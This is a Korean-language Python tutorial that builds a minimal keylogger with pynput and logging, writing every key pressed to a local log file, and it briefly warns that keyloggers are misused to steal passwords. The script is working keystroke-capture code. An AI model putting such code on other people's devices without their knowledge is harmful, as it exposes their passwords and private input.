Python에서 키로거 만들기

Manav Narula 2023년6월21일
Python에서 키로거 만들기

Python에서는 사용자 입력을 읽고 키보드 및 마우스와 같은 하드웨어 장치를 감지하여 대화형 애플리케이션을 개발할 수 있습니다. 특히 pynput 모듈을 사용하면 이러한 장치와 기능을 사용하여 키 누르기 감지 및 커서 이동을 작업할 수 있습니다.

이 튜토리얼은 Python에서 키로거를 만드는 방법을 보여줍니다.

Python에서 키로거 만들기

먼저 키로거가 무엇인지 이해합시다. 키로거는 사용자가 키보드에서 누른 키를 읽고 이를 로그 파일에 저장할 수 있는 응용 프로그램입니다.

이러한 응용 프로그램은 일반적으로 문제 해결 및 기술 문제 감지를 위해 장치를 모니터링하는 데 사용됩니다. 요즘 이러한 스크립트는 장치를 모니터링하여 암호 및 기타 액세스 코드를 확인하는 등 악의적인 의도로 사용되므로 이러한 스크립트를 사용하는 데 주의해야 합니다.

이제 loggingpynput 모듈을 사용하여 Python에서 간단한 키로거를 생성합니다.

logging 모듈을 사용하여 누른 모든 키를 추적하는 로그 파일을 생성합니다. basicConfig() 생성자를 사용하여 파일을 생성하고 이 생성자 내에서 filenameformat을 지정합니다.

pynput 모듈에는 키를 누를 때 기능을 수집하는 Listener 개체가 있습니다. Listener 개체가 수집할 press라는 함수를 정의합니다.

press() 기능은 누른 키를 읽고 logging.info() 기능을 사용하여 파일에 기록합니다. 키는 먼저 문자열로 타입 변환되어야 합니다.

암호:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(
    filename=("logfile.txt"), level=logging.DEBUG, format="%(asctime)s: %(message)s"
)


def press(key):
    logging.info(str(key))


with Listener(on_press=press) as listener:
    listener.join()

출력:

키로거 출력

위의 예와 같이 주어진 스크립트가 실행 중일 때 사용자가 누른 키가 로그 파일에 기록됩니다. 로그 파일의 모든 항목은 basicConfig() 함수에 지정된 형식을 기반으로 합니다.

작가: Manav Narula
Manav Narula avatar Manav Narula avatar

Manav is a IT Professional who has a lot of experience as a core developer in many live projects. He is an avid learner who enjoys learning new things and sharing his findings whenever possible.

LinkedIn